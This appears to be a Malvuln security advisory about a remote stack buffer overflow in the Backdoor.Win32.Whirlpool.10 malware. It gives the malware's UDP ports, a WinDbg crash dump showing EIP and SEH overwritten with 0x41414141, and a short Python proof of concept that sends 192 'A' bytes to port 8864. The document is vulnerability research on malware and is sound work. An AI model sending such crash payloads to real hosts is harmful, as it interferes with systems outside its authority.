Backdoor.Win32.Whirlpool.10 malware suffers from a remote stack buffer overflow vulnerability.
c3d3b273680f8c02a4ca076c42f19836Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bf0682b674ef23cf8ba0deeaf546f422.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Whirlpool.10
Vulnerability: Remote Stack Buffer Overflow
Description: Whirlpool listens on UDP Datagram ports 8848 and 8864. Sending a 192 byte payload to port 8864 triggers a stack buffer overflow overwriting both EIP and SEH. This can allow third party attackers to compromise the backdoor malware.
Type: PE32
MD5: bf0682b674ef23cf8ba0deeaf546f422
Vuln ID: MVID-2021-0038
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/19/2021
Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70 ntdll.773E9D70
EBP : 000A1430
ESP : 000A1410
ESI : 00000000
EDI : 00000000
EIP : 41414141
(898.1514): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1410 ebp=000a1430 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe
FAULTING_IP:
Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+4426
00404426 8b4af8 mov ecx,dword ptr [edx-8]
EXCEPTION_RECORD: 0019f7a0 -- (.exr 0x19f7a0)
ExceptionAddress: 00404426 (Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+0x00004426)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414139
Attempt to read from address 41414139
PROCESS_NAME: Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
user32!_InternalCallWinProc+0
764ee090 55 push ebp
FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019f7f0 -- (.cxr 0x19f7f0)
eax=0019fce4 ebx=0019fce4 ecx=0019fcf0 edx=41414141 esi=00000002 edi=02560bf9
eip=00404426 esp=0019fc50 ebp=0019fcf0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+0x4426:
00404426 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=????????
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 41414141 to 00404426
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
FRAME_ONE_INVALID: 1
STACK_TEXT:
0019fc50 00404426 backdoor_win32_whirlpool_10+0x4426
0019fcf8 41414141 unknown!printable+0x0
0019fd50 004644a9 backdoor_win32_whirlpool_10+0x644a9
0019fd6c 764ee0bb user32!_InternalCallWinProc+0x2b
0019fd98 764f8849 user32!InternalCallWinProc+0x20
0019fdbc 764fb145 user32!UserCallWinProcCheckWow+0x1be
0019fe8c 764e90dc user32!DispatchMessageWorker+0x4ac
0019fef8 764e38c0 user32!DispatchMessageA+0x10
0019ff00 0046210c backdoor_win32_whirlpool_10+0x6210c
0019ff6c 00495f56 backdoor_win32_whirlpool_10+0x95f56
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: .cxr 000000000019F7F0 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc50 ; kb
SYMBOL_NAME: user32!_InternalCallWinProc+0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: user32
IMAGE_NAME: user32.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!_InternalCallWinProc+0
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8864
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
PACKET="A"*192
s.send(PACKET)
s.close()
print("Backdoor.Win32.Whirlpool.10.b / Remote Buffer Overflow")
print("MD5: bf0682b674ef23cf8ba0deeaf546f422")
print("By Malvuln");
if __name__=="__main__":
doit()
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